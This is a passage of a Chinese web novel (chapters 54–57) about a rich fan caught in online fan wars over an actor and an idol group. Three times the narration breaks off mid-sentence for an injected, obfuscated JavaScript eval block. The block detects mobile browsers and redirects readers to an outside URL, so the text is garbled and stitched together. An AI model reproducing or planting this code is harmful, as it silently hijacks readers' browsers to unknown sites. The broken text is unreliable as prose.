王晨之的事实在让她心有余悸，偶像与粉丝之间确实还是有点距离更好。 手指犹豫着在对话框中编辑又删除，删除又编辑，她想想还是返回页面，打算先问问后援会。 然而还没来得及再有下一步动作，聂嘉远的上线提醒突然跳了出来。 接着，圆圆的头像外多了层橙红色的细圈，这样的关头，这人竟然毫无预兆地直播了！ 画面骤然点开，给凌钰帅一大跳。 聂嘉远脸上的妆还没卸，他本来就长得五官深邃，此刻似乎坐在车上，昏暗的灯光下更显得鼻梁高挑，唇形诱人。 弹幕里“啊啊啊啊”一片。 聂嘉远却认认真真给大家打了个招呼，才道：“我现在正在回酒店的路上，刚才听说还有好多人在酒店外面等，天气太冷了，大家听话，还是早点回去休息，不要再等了，注意安全。” “另外，我知道大家担心我的伤，所以就想着趁这会儿抽空给大家直播一下，报个平安。我真的没什么事，当时情况紧急，也来不及去想，总归大家都没事就是最好了。” 弹幕里都在让他注意身体，也有人评论：“以后再也不信男朋友说自己没空回信息了，聂嘉远忙成这样，下台了都知道给我直播报平安！” 这条一出，顿时笑声一片。 也有人发出了星星眼：“聂嘉远真的好man，我今天还是第一次看到肖雨婷提到男生时是这种表情呢，感觉磕到了！” 54.第 54 章 当有人开始嗑cp，就终有拆cp的一天。 嗑的时候有多和谐，拆的时候就有多难堪。 至少凌钰混迹饭圈这么久，还从来没见过有任何一对营业cp能有好结果。 可即便如此，多年来还是有不少公司会利用这种手段营销造势。 实在是因为只要cp炒得好，热度不愁不升高。双方都能受益固粉不说，就连剧或综艺本身也能提高播放量，更别提商业价值的提升和国民度的增长，效果几乎是立竿见影的。 但凡事都有两面性。 吸粉往往伴随着脱粉，固粉自然也离不开虐粉。 有人逐渐入戏，有人接受无能，有人刚开始还能一碗水端平，渐渐开始偏心，又因为极端的保护欲对另一方生出怨怼，有人一心想要捆绑，最终甚至见不得cp双方再和其他人有任何接触。 所以当吸引的粉丝量到达瓶颈，变得开始影响他们后续发展时，当事人都会逐渐疏远避嫌。 更严重的，还会各自将cp大粉和对方大粉都告上法庭，彻底解绑。 cp被拆，腥风血雨。 凌钰见过也参与过，因此如今的她对嗑cp这种事，可以说是心有余悸敬谢不敏。毕竟那种每天两眼一睁就是撕的感觉，她这辈子都是不想再体验的了。 可她不乐意，却不代表别人也不乐意，至少此刻的弹幕上就有不少人表示“嗑到了”。 聂嘉远一直看着屏幕，应当也看见了，他没有回应，只是笑着换了话题。 “这两天我的行程比较满，很感谢大家的应援，我都看到了。现在已经是……”他顿了顿，“啊，快要十二点了，我还没吃晚饭，一会儿回去可能会吃一点面包，大家应该都吃过了吧？” 谈到吃的，弹幕里的“嗑到了”顿时被各种美食淹没。很多人都在回复：“不瞒你说，我在吃宵夜了。烧烤配奶茶，我的快乐源泉。” “今晚在家吃的火锅，边吃边看年终盛典。” “报告嘉远！我吃过了！今天自己烧的菜：板栗烧鸡，牛肉烧豆腐，青椒炒肉丝，还有凉拌木耳，清蒸茄子，猪蹄炖汤！好香的，可惜不能让你尝尝！” 越来越多的报菜名，愣是把聂嘉远给报饿了：“家园们，我是真的只能吃点面包，不然这两天上镜可能会状态不好，而且这次拍戏又是古装，如果吃胖了穿衣服会不太好看，求你们放过吧，我现在感觉自己饿得能吃下一头牛！” 话题转移，又聊了几句，还清唱了几首歌，聂嘉远就关掉直播下线了。 凌钰临睡前看了一眼热搜，ily家的粉丝还在和有凤娱乐过不去，队内混战也依旧没停，看那架势，十有八九要鏖战到天亮。 事实证明这场风波的确持续了很久。 一直到工作日凌钰办理好房产手续，又叫了搬家公司帮忙把两家的东西全部搬到位，网上的讨论都没有停止，甚至还有了越来越不受控的趋势。 有凤娱乐倒是发了致歉声明，可却并没有让粉丝满意，反而被逐句抠字眼一一反驳，甚至连当时负责的工作人员微博也给扒了出来。 人有时候难免有从众心理，再加上这件事确实很容易让人共情，于是#有凤娱乐道歉#的话题就这么在热搜榜上挂了整整三天，而ily队友之间的争论也同样愈演愈烈。 反正等凌钰忙完手头的事再去看时，当事三人的粉丝已经吵得如同生死仇敌。 肖雨婷家认定是另外两人故意伤害，李岑和钱芊的粉丝则互相指责是对方正主的过错更多，团粉觉得她们都是受害者而唯粉都是脑残，某些队内cp粉，双担粉又有不同的想法，总之非常热闹。 ily当年是国内最顶尖的选秀出道。 既然是选秀，大家原本就都是对手，第一名的肖雨婷做了当之无愧的c位，其他人哪怕之后在别的领域发展再好，只要在团内，这辈子都不可能再与其相争。 正主之间相处久了，也许还是有几分友谊的，但粉丝内部从最初就在对打，除了为数不多的团粉，平时相互之间只有battle。 别说感情了，但凡能有机会，谁不想让别人跌入泥潭，让自家正主一枝独秀。 凌钰正主2的选择期限越来越近，她的目标却至今没能定下来。观察许久，这段时间的男艺人从林业开始已经一连塌了四个，女艺人也有一位小糊咖偷税漏税被封杀。 当前比较稳当的其实还是影后苏心悦，可她和墨之染一样，都是一种要混不混的状态，已经多次提到要退居幕后。 凌钰本来还想着当红的女爱豆应该可以，毕竟粉丝看得严，花粉又通常有非常强大的事业心，正主塌房的几率自然也小。 可现在看着这铺天盖地的无差别攻击，她却不得不又犹豫起来。 不好办，真的很不好办。 结合这段时间在网上对某些艺人的了解，她又筛了半天，才筛出来几个应该还算靠谱的女艺人。 比如当时和聂嘉远苏心悦同时冲上台去帮忙的陈静思就还不错，低调，平和，比起营销，会更愿意打磨演技。还有几个备选，得再好好看看。 景泰苑的房子环境幽雅，因为开着地暖，凌钰只穿了一件短袖睡裙。搬家之前买的咖啡机也已经摆在了水吧台，这会儿磨豆机正在工作，她躺靠在沙发上，发出了一声无奈的怪叫。 谁说她现在没工作？投资偶像这门工作可不比别的工作风险小。 拿起手机打开电视投屏，不断回放着有凤娱乐年终盛典当天的场景，又把花香娱乐花香之夜的全程也从头到尾又看了一遍，凌钰是越看越郁闷，越看越心塞。 有凤这边的突发状况，至少维持了表面的平和，可花香那边却如同宫斗现场。 花香娱乐本来就惯用营销，历年的晚会都很能制造话题，可如今赵恒这个最有话题的一哥却突然塌了房，也不知道是他家的艺人本来就是如此还是刻意为之，反正整个晚会里亮点众多。 如果单看表演其实倒也还好，但里面的一些小心机小细节却难免被人拿来说三道四地热议。 抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271374|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜头的，获奖感言阴阳怪气的，大合照时莫名其妙让了C位结果又给人家白眼的，还有晚会都没结束就因为没能得奖愤而离场的。 如果不是要择明主，仅仅作为吃瓜群众来看还是很有多话题和乐子的。 但现在的凌钰苦就苦在不再是单纯的吃瓜群众，因此再看这帮人，只觉得像群魔乱舞。 有人兴致勃勃地讨论分析，当然也有人看不下去。 【有凤娱乐舞台事故到现在都没处理好，本来还以为这是给花香娱乐一个台阶下，真要当一辈子好兄弟呢，没想到花香没了赵恒，更烂了。那帮人八百个心眼子都写在脸上，估计觉得自己的机会来了。】 【哈哈哈哈你们有没有人看到周梓然那个眼神？他好像还是第一次坐在最前面的最中间，我的妈呀他那个表情！不会是觉得自己要登基了吧。】 【我真的乐了，那位因为没能拿奖就气跑了的，多大年纪了怎么还这么沉不住气呢？又不是年纪大就是老戏骨，你演技是真不行啊叔叔！】 【花香早点倒闭吧，说是专注演员其实根本不专注演戏，铺天盖地全是营销，就他们那个晚会办的，跟农村大舞台和企业年会一样，奖项根本就是内定的！前两天还有工作人员来阴阳怪气有凤，笑死。】 【哈！有凤粉丝还来嘲笑花香呢？我家只是艺人塌了，你家房子都塌了，管好自己吧！天天被ily粉丝冲还没被冲够呢？】 【楼上有病吧！观众而已都要被按头粉丝？别什么都拿你们粉圈那一套来对付人了，显得很愚蠢可笑。】 平台之间在吵，粉丝之间在吵，粉丝和平台吵，平台不停滑跪道歉，中间还夹杂着一群不管不顾只想着嗑cp的。 是的，那天之后，聂嘉远和肖雨婷还是拥有了大批cp粉，不仅拥有了粉丝名“和睦嘉婷”，甚至连超话都建了。 有人截了当时肖雨婷提到“聂老师”的视频反复回味，有人截了聂嘉远直播视频的片段细致分析，甚至还有人放出了当时现场拍到的模糊身影。剪拉郎视频的，从以往的合作中找蛛丝马迹的，嗑生嗑死，沉迷其中。 凌钰边刷微博边觉得暗无天日。 一面苦于内娱让人难以抉择，一面因为她很清楚，现在这些人嗑cp放出的每一颗糖，都终将成为刺向某人的工具，而被刺的这个人不是肖雨婷就是聂嘉远。 放下手机，将磨好的咖啡粉布粉之后再压实，看着萃取的咖啡液缓慢滑落，油脂丰厚香气扑鼻，再用提前打发好的奶泡细流注入，大流量拉花——凌钰操作不当，拉花失败。 但这也并不影响入口的风味。 她边喝边低头去看，一条帖子已经进了热门话题。 【@小婷子永远快乐：某聂家还没完了是吗？拉了我们雨婷一把我们确实感激，雨婷也已经当众谢过了，你自己也直播卖惨虐过粉了，没必要一直拉着我家吸血吧？这么大的男人，是不能独立行走吗？最后一点好感也败坏没了！】 而#和睦嘉婷#的话题也冲到了热搜前排。 55.第 55 章 广场上乌烟瘴气，各路粉丝混战，说什么的都有。 【cp粉是疯了吗？我家肖雨婷是女爱豆，爱豆懂什么意思吗？】 【哪来的邪门cp啊？居然还说雨婷和丑聂是真的。滚好吗？我们雨婷队内有官配，我说男演员的粉丝真的别太恶心，你们这样真的会很让人怀疑某人当初冲上台的目的究竟是什么。怎么？顶流的位置吸引力就这么大吗？】 【笑死，墨之染只是没来，不是死了。聂嘉远的野心都快写在脸上了，你想往上爬没人管，可你想利用我家雨婷往上爬，那可别怪亭子们不给你脸。】 【肖雨婷粉丝要不要这么忘恩负义？没有人家上去帮忙拉一把，你家主子搞不好人都没了，人家为了你受了伤都没说什么，你们还在这自导自演上了！骂cp粉就骂cp粉，骂人家聂嘉远干嘛？脑子有病。】 【楼上李岑粉丝还敢来？如果不是李岑，肖雨婷会差点掉下去？我们骂谁关你们屁事，这会儿没骂你你不舒服是吧？等着，咱们两家的事还没完呢！】 【有些人管的也太宽了，和睦嘉婷就是真的，你们看不惯不看就好了，对着别人指手画脚，还真把自己当盘菜了。骂得再凶有什么用？搞不好人家两口子都私下见面睡一个被窝了。】 这cp粉不开口还好，一开口别说是肖雨婷粉丝，就是凌钰都看不下去了。 这种人，为了自己的私欲张口就是黄谣，于双方而言都将是灾难。 肖雨婷的具体行程她不了解，但这些天聂嘉远虽然受了伤，工作计划却并没有因此变更，该录制的晚会一个都没落，按照前线的消息，他是忙得团团转，每天能睡三四个小时就算不错的了。 如此大的工作强度，几乎24小时被镜头包围，但凡没有分身术，就都不可能做到那cp粉所说的事。 可吃瓜路人却并不清楚。 这边几方还在喋喋不休地争论，凌钰刷新页面，就看到很多人已经开始恍然大悟。 【原来他俩是一对！难怪肖雨婷一出事，聂嘉远第一个就冲了上去，所以说圈子里早就都知道了吧，难怪当时聂嘉远旁边的苏心悦和陈静思也跟着冲了上去，难怪肖雨婷采访看上去都快担心哭了的时候，主持人表情那么古怪！】 【真的假的啊！这么大的瓜吗？但肖雨婷可是女爱豆！而且聂嘉远好不容易才翻红，他粉丝为他花了那么多钱，救命，不会一直在帮他养嫂子吧！】 【他那个氪金粉给了花了快一个亿了吧？不是，之前他不是还跟那个粉丝也传过绯闻吗。别这样，怪吓人的！才刚塌了个王晨之塌了个赵恒，不会现在连聂嘉远也要一起塌了吧？】 明天就是元旦，青橙卫视的跨年晚会今晚八点半开播。 因为可能要熬夜，凌钰特意在傍晚淬了杯咖啡，又提前问了孙致容和周哥想要的口味，准备等他俩下班回来一并做上。 结果晚会还没等到，就先等到了这些乱七八糟的东西。 吵架她不在行，那就先随手送上一个举报拉黑。返回页面，正打算问问后援会情况，还没来得及进入页面，就先看见了ily组合所在公司的辟谣声明。 【@埃尼娱乐：肖雨婷单身，别造谣。】 简单明了，反应迅速，但就是反响并不太好。底下别说是cp粉还是别的什么人，就连肖雨婷自己的粉丝都在骂。 【埃尼你不会办公司就别办，肖雨婷差点摔下升降台的时候你是一声不吭，这会儿人家cp粉嗑cp跟个别粉丝吵起来，你反应倒是快，但就算是要辟谣是不是也该语气柔和一点？天天给肖雨婷树敌我真他么谢谢你！】 【前两天你不是哑巴了吗？现在又炸什么尸？你还是死了好。】 【不是，本来是cp粉的错，他们嗑太过让咱们有些人看不下去而已，结果你这么硬声硬气来一句，别人又要转过来骂咱们凉亭了。你辟谣就辟谣，都已经官方发言了，就不能顺便再感谢人家一下吗？有你这种公司真是我们的福气……】 【闭嘴吧蠢货！】 凌钰又看了一会，这公司的官号也是神奇，粉丝们对它的怨念显然比对别人要深很多。 前两天它一直没动静都没少招骂，此刻这一发声，不仅是之前的队内矛盾，就连持续冲了几天的有凤娱乐都被众人摆到了一边，所有人义愤填膺，将全部的恶意都加诸在了它的身上。 骂聂嘉远的反倒少了。 谣言来得快辟谣地也快，虽然是单方面的操作，但等孙致容他们下了班和孙爸一起过来时，微博上的热搜已经再次成为ily和埃尼娱乐的天下。 家园们十分无语，只觉得简直无妄之灾，明明聂嘉远主动帮忙又受了伤，结果突然莫名其妙就被人拉郎之后又被骂。 现在对方的确辟了谣，可看上去却格外生硬，显得像要和他们划清界限一样，带着点显而易见的嫌弃。情况看似暂时稳住了，可也并不知道后续究竟还会有什么发展。 心中气恼，可多说多错。 家园们又时刻记着要谨言慎行专注自家，一时满肚子愤怒无处发泄，不少人气得跳脚，又去多买了几样代言。 消费使人愉悦，氪金使人开心。 一时间，不管外界是什么发展，聂嘉远超话里突然就成了晒单的天堂。 就连凌钰也不例外，默默买了聂嘉远新代言的好几款不同类型的杯子，又给家里几个人各买了整套的服装当作新年礼物，浅浅消费差不多两百万，才顺便简简单单晒了个单。 她发完微博就没再看，自然也不知道家园们又被她的大手笔给惊了个跟头。 【一开始还以为是抽奖，结果这次是姐自用的，呜呜呜，好多钱啊！虽然知道这姐有钱，可每次还是会被惊到。】 【别说了，我现在居然看到两百万会觉得，也不是很多……我凭什么啊！】 【楼上的，俺也一样。】 随着元旦到来，凌钰的附赠寿命也即将用尽，按照她之前的计算，大约节点也就在这一两天了。 提前点好的外卖已经送到，孙致容躺在沙发上看着凌钰做咖啡，连滚好几圈才喟叹了一声。 “什么好日子啊！我现在上班都不觉得累了，真的，只要一想到下班能住进景泰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283335|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苑，我看我们领导都变得慈眉善目了起来！好暖和，要不周哥喝热的，我来杯冰拿铁吧！” “行。”凌钰手上动作不停，头都没抬。 过了这么久，她才好不容易用上了咖啡机，正是上头的时候，这会儿也不嫌麻烦，一边用制冰机出冰，一边先给周哥做了杯热的黄油拿铁。 等冰块制作完成，拿出玻璃杯倒上七分满的冰块，再加适量冰博克，轻靠咖啡机出液口加入刚刚萃取的咖啡液，深色的液体流动，顺着杯壁下滑，形成很漂亮的花纹，一杯冰镇拿铁就做好了。 凌钰如数家珍：“想要效果更好，其实可以提前几分钟先把杯子也冰一下。” 孙致容毫不在意地摆了摆手：“Dirty咖啡是吧？没事没事，不要在意这些细节，就是我没什么时间，不然哪天我也得好好研究下怎么自己做。” 今天的晚饭是烤肉，家里地方大、锅具多的好处很轻易就体现了出来。 凌钰点了些牛肉五花肉小海鲜和各类蔬菜，另有店家赠送的配料，此刻全部在餐桌上整齐铺满，烤盘摆在正中间。 打开预热功能，直接将电视调到青橙卫视，新闻联播已经结束，此刻正在播放地方新闻，离八点半还有半个小时，后面估计会有很多广告。 时间充裕，就连孙爸都有些好奇地也要了半杯咖啡品尝。 上好的雪花牛肉碰上滚烫的烤盘立刻收缩，扑鼻的香气也随之在空气中散开，肉片在甜辣酱中轻轻一滚，再用生菜包裹，入口时腻味便少了几分，剩下的只有清爽。 这些年，每年跨年夜凌钰几乎都是和孙致容一起过的。 高中时是只有她们俩，后来就变成了她俩和孙爸，再后来又多了个周哥。 凌钰下意识看了一眼手机，并没有人给她发短信。 算了，她的父母堪称神人，如果这个点没有发消息来，那大约就会等到春节才发，虽然也不至于真就忘了在国内还有个女儿，但他俩似乎很有默契的认为，她不需要钱也能把自己养得很好。 凌钰是知道的，他们在外面工作赚的不少，甚至可以说很多，但这些年两人除了偶尔的问好，却从没有提过给她点生活费的事。 他们不提，她也就不问。 以前的钱勉强也够用，现在嘛，她自己也是有钱人了。 四个人边吃边聊天，耳边听着电视里的广告，偶尔看一眼手机上的新闻，美食当前，温馨自在，凌钰心情很好，决定短暂原谅这个世间所有的离奇。 青橙卫视不愧是国内娱乐节目做的最好的地方台，虽说是录播，有很多剪辑的空间，但哪怕单就晚会舞美和镜头以及环节设置来讲，也还是遥遥领先于其他家的。 聂嘉远之前彩排时曾被再次安排短暂的打戏，但大约是考虑到他还有伤，真正录制时并没有这一段，只是安静站着唱歌。 大屏幕怼脸的效果叫人惊叹。 晚会一直持续到次日凌晨一点左右才结束，凌钰困得眼睛都睁不开，迷迷糊糊中似乎听到周哥的疑惑：“咦？聂嘉远怎么又上热搜了？cp粉好像又吵起来了嘛！” 56.第 56 章 困意来袭，别说是cp粉吵起来，就是天王老子吵起来凌钰也睁不开双眼了。 可也许是因她傍晚才喝了咖啡，或是下一次任务时间就在眼前，再加上临睡前的最后一句话听到的又是网络舆情相关，总归这一夜，凌钰睡得非常不踏实。 梦中光怪陆离。 她整个身子时而漂浮在半空，时而坠落悬崖。 有时她低下头，看到的是一眼望不到尽头的崇山峻岭，转眼就又见到身前开满了似暗红似幽黑的彼岸花。 美则美矣，但这什么意思？！咒她呢！ 失重和失控的感觉同时侵袭着她的大脑，晃晃悠悠飘飘荡荡却落不到实处，等凌钰终于受不住浑浑噩噩睁开双眼，窗外已经天光大亮。 孙爸年纪大了，昨天根本没能撑到凌晨就找了间客房躺倒。 凌钰缓缓起身，不远处的孙致容抱着抱枕躺在沙发上睡得正沉，周哥则在另一边的按摩椅上呼吸平稳，一点要醒的意思都没有。 打开手机，已经是上午九点。 轻手轻脚地先去洗漱，又去厨房把昨天孙致容买回来的速冻小馒头蒸了几个，泡好的豆子放进豆浆机点击运行。 等再次打开微博，凌钰就发现，昨天凌晨竟然真发生了一场大战。 埃尼娱乐先前的那条辟谣声明本就引来众多不满，如果只是不回应，或者彻底冷上一段时间倒也罢了，可就在昨天凌晨聂嘉远于青橙卫视出场的那一刻，它不知怎么想的，竟又卡点发了一条消息。 九宫格的照片，都是ily和另一位男艺人林渊的合作舞台。 而c位照则是肖雨婷和林渊舞蹈动作中的错位吻。 这简直如同捅了马蜂窝。 一时间，和睦嘉婷cp粉，肖雨婷和某队友cp粉，肖雨婷唯粉以及林渊唯粉直接全部大破防，再加上这两天本就吵出真火的李岑粉丝和钱芊粉丝，凌晨的微博险些没被这几波人给炸了。 凌钰醒得并不早，也仍能看到哀鸿遍野的战争残局。 大批的帐号被举报被封，不少红v大粉也被禁言，虽然有零星的投票在尽力洗广场，但只要往下稍微刷一刷，就能看到各种角度清奇的对骂，又逐渐上升高度，开始疯狂艾特官媒。 聂嘉远超话也没能幸免，不过因为氪金的粉丝太多，那些帖子被淹没后又被管理员删除，倒是没造成太大影响。 唯有仅存的几条映入眼帘。 【聂嘉远吃了红利就装哑巴了？ily也是你能碰瓷的？ily登顶爆火的时候你还不知道在哪儿待着呢，现在居然放任cp粉乱冲！我家和林渊合作你看不顺眼，有本事你也去跟肖雨婷合作啊，背后搞黑手算什么本事？】 【受伤了不好好休息，还要跑出来卖惨，聂嘉远这种绿茶人设真的没人能看懂吗？之前采访的时候也是茶味十足，现在又来这一出，肖雨婷没惹好吗？】 【埃尼娱乐虽然不是东西，可也辟谣过了，你家艺人也说一句“单身”是烫嘴吗？现在cp粉全都从你家扒糖，觉得当事人不吭声就是默认，埃尼是拆散牛郎织女的王母。聂嘉远这么会装死，利用女爱豆上位，真的厌男症又犯了。】 凌钰没有再看。 虽然这几条看上去也很有攻击性，但对比面向埃尼娱乐和林渊的恶意还是温和很多，且因为帖子无人回复，很快就被压到彻底消失不见。 热气升腾，馒头的香味自厨房飘向客厅，睡梦中的人也因此清醒。 孙致容迷迷糊糊地睁开眼才发现凌钰连早饭都准备好了。 起身洗漱，顺便又喊醒了周哥和孙爸，再掌勺煎了几个鸡蛋，做了点酒酿元宵，那边凌钰也把蒸好的馒头和做好的豆浆端了上来。 四人吃饱喝足，才换好衣服准备出门。 元旦期间，T市最大的冰雪乐园准备了特别活动，自十二月末到跨年夜当天已经有很多明星闪现活动现场，掀起了一波波热潮，为了增加趣味性，又考虑到安全问题，官方并没有提前公布可能出现的艺人。 一切都看运气。 凌钰对这个其实兴趣不大。 不过毕竟是过节，孙致容又向来喜欢热闹，而她自己从前忙于工作且手头又紧，来到T市几年还一次都没去过，现在难得有钱又有闲了，当然得去逛逛。 天色还早，乐园又离市区特别远，而前段时间这里出现最红的明星也就是一个二线艺人，因此园内游客并不算多。 一路逛吃逛喝，又玩了好几个免费的项目，几人终于走到大型冰雕入口。 实话说，这还是凌钰头一次看到如此震撼的场景。 巨大的山峰冰雕冲天而立，其上满是惟妙惟肖的各色神话人物，人物面色慈悲，身在云端间似在俯瞰众生，人站在下方顿时变得格外渺小。 再往前数个大型冰雕之后是一个极大的广场，一旁的平台上，工作人员已经开始为接下来的活动作准备。 视觉效果确实拉满，但孙致容却明显有些失望。 “本来是为了凑热闹来的，门票也不便宜，结果现在这儿看着比国贸那些奢侈品店里面还冷清，好多场地都空着，广场这儿人也不多，根本不是网上宣传的那样。” 凌钰不太确定：“前两天你看有人网上直播时不是挺热闹的？” “不知道呢，那会儿有明星在，”她回头看向平台，“不至于吧，难道是今天的明星不红，没人认识？官方虽然是不提前公布，但每天活动前两个小时还是会官宣一下的，我都没想到会没人，等等，我来搜一下官博。” 他们都是第一次来，谁也不知道具体情况，就连孙爸都双手插兜紧了紧羽绒服：“看看吧，要是不认识就早点回去，冷清不冷清的不提，冷是真冷。” 孙致容搜索地很快，看到结果跳出来的一瞬间，她明显愣了一下，然而刚要开口，大型冰雕的进口处就突然涌进了大批人群。 有人手上拿着横幅海报，有人带着灯牌荧光棒，浩浩荡荡几乎是以百米冲刺的速度冲了过来。 凌钰几人根本来不及反应，就被最前方的领跑者冲散。 转过头，凌钰只看到孙致容焦急张望的脸，下一刻就被彻底淹入人海。 这场面十分眼熟，他们当初和沈云峰家battle应援物的时候似乎就是这个阵仗。凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287462|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钰发现不对立刻往旁边缩，可即便如此，也还是被不知道从哪儿冒出来的道旗给戳了一下。 等终于能站定，她才总算看清那些应援物上的内容。 也太巧了！又是ily！ 不是说这种活动一般请不到一线艺人的吗？ 她往后连退几步，刚给孙致容发了条消息，身旁不远处的角落里，有粉丝为了占位置已经吵了起来。 李岑的粉丝跑得快，抢先在栏杆上挂好了灯牌，但她速度再快也敌不过肖雨婷的粉丝人多。十几个人围着她一个人，很快将挂好的东西拆掉扔到了地上，又将自家的应援物原地挂好。 混乱中，能听到他们的声音越来越响。 “谁规定这是你家的位置？你说先来先到，我还说能守住的才是最后的赢家呢，而且这边一排的栏杆早就被我家占了，你是眼瞎了看不见吗还要往这挂？” “你们婷粉别太过分！” “过分？李岑故意把肖雨婷往升降台推的时候怎么不说过分了？干什么，为了出头连杀人放火都敢干，也不撒泡尿自己照照，就算肖雨婷真出了什么事，ily也轮不到李岑当c！” “你们是疯了吗？肆意造谣是犯法的懂吗？当时那种情况谁都看不清，况且第一下明明是肖雨婷撞的李岑！” “所以啊，李岑就是故意报复呗！” 李岑粉丝本来就只有一个人，又不如肖雨婷粉丝能说会道，一时间愣在当场，看上去都快哭了。 凌钰的视线缓慢移开。 她无意加入这场粉丝内斗，低头缓缓退出人群，便准备和孙致容他们汇合之后离开，却没成想就这么片刻的工夫，竟然有人已经认出了她，偷拍了好几张照片发上了微博。 【@婷婷玉立：猜我在冰雪乐园ily活动现场看到了谁！这不是某聂的氪金粉吗？还一直站在婷粉的队伍里，这是偷偷摸摸爬墙了？不会过两天就能看到新的脱粉声明了吧？】 消息发出，本就混乱的微博霎时间波澜四起。 【真的假的？】 【我看过她直播的cut，就是追星姐！她怎么变成凉亭了？】 【不会吧，会不会就是单纯在冰雪乐园玩啊？我看她昨天还买了聂嘉远代言的东西啊，好端端的怎么可能脱粉？聂嘉远又没干嘛，甚至是做的件好事，自己还受了伤，结果婷粉追着打了几天了，要不要这么无所不用其极啊？】 【她是买了聂嘉远代言，不过买得不算多，而且也没抽奖送同担诶！不会是为了给自己留下最后的一点念想吧？如果真是这样，家园们可得谨慎点了。】 热闹没凑成，反倒遇上ily参加活动如此大的阵仗，又在人群中被又踩又撞好几下，孙致容本来对肖雨婷的那点路好都没了。 凌钰坐在后排，听她絮絮叨叨：“ily粉丝都疯，但肖雨婷的绝对最疯，我拉着我爸找周哥呢，他们非拦着我说我是队友粉不让我走！什么玩意！还有——” 接下来的话凌钰没能再听清，因为下一秒，她口袋里的手机突然开始疯狂震动，沉寂许久的【识人】app犹如烟花爆炸，跳出了无数条提示消息。 57.第 57 章 【最新任务：本次解锁资金100000000元，请于2小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后按照1:1比例扣除已拥有资金。】 【最新任务：正主2任务已再次启动，请您于2小时内重新确定正主2投资人选，超时将按照100000元/秒扣除已拥有资金。】 【最新任务：本次解锁资金50000元，请您于4小时内用请该金额并将所购物品送出（金额使用比例不限，但需同时用于正主1、正主2），请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后死亡。】 不是。 要么不来，要么来这么一大堆！ 车内开着恒温的空调，让人昏昏欲睡。 凌钰原本就一直在边闭目养神边听孙致容说话，意识其实并不算十分清醒，等手机震动时看到跳出的提示，也只单纯以为是附赠寿命即将结束，正常任务已经开启。 然而愣愣地仔细读了两遍提示，她才赫然惊觉不对。 如果说后两条消息都是因为到了限定时间而开启的任务，那第一个反复跳出的提醒显然是临时出了状况，还是很严重的状况。 她闷着头数了一下，八个零，整整一个亿！ 这个数字实在太夸张了，比之前好几次的临时任务加起来都要多，那换句话说，聂嘉远这次的舆情大约也是空前绝后，影响一定比之前那几次加起来还要大。 连忙打开微博，#聂嘉远塌房预警#的话题已经排在榜首。 再往下连续好几条都与他相关——#肖雨婷聂嘉远#、#聂嘉远大粉爬墙#、#脱粉#、#聂嘉远单相思#…… 很快凌钰就发现，连她自己都在榜上：#ily我来追星了#。 什么意思？她干嘛了？ 广场上吃瓜网友数量惊人，话题讨论度更是出奇的高，实时微博几乎每秒都在疯狂刷新，凌钰看着不断往下翻的帖子，首先是有些愣怔，等弄明白这些人究竟在说什么，一时又生出很多莫名的荒谬感。 事实无法界定，谣传就变了样，变得面目全非，叫人匪夷所思。 而关于聂嘉远和肖雨婷之间的故事就更加充满了戏剧性。 【所以其实一直就是聂嘉远在单相思！难怪我看之前cp粉剪的视频里都是某聂盯着肖雨婷看，当时我还觉得很甜，可现在这样一想，这不就是职场那啥骚扰吗？代入一下自己，我不直接发疯就不错了！】 【那肖雨婷还是能忍，这次某聂上去帮忙，也不知道存的究竟是什么心，她还帮着说话，结果某聂自己又卖上惨了。为什么会有这种人啊，既卖cp又卖惨。】 【我就说他那会儿冲上台很奇怪，另外两个帮忙的女演员都听不太清说了什么，就能听到他说话，原来还是为了卖……或者不仅仅是为了卖，还为了人设，也为了给肖雨婷留下好印象？反正是心机男。】 【这人搞不好私下骚扰过肖雨婷，所以埃尼娱乐才第一时间那么生硬地辟谣。你看他之前采访时那个小人得志爹味十足的样子，道貌岸然，真的怪恶心的。】 【不知道为什么，现在再去看他青橙卫视的怼脸拍感觉好油腻啊，面相都变了。也难怪之前他对家粉丝都喊他丑聂哈哈哈！他不就是那种觊觎美女的油腻男吗？癞蛤蟆想吃天鹅肉，美女都不理他，他还要引导cp粉嗑。】 【现在好啦，氪金大粉也站女方，他废了吧？估计真离塌房不远了。】 凌钰反应了半天才搞明白这个氪金大粉是她自己本人。 聂嘉远和肖雨婷之间的关系她是不知内情，但就她如今看到的，聂嘉远仅仅只是在紧急时刻救了人，又因为粉丝担心才直播报了个平安，后续就莫名其妙突然发展成了这样。 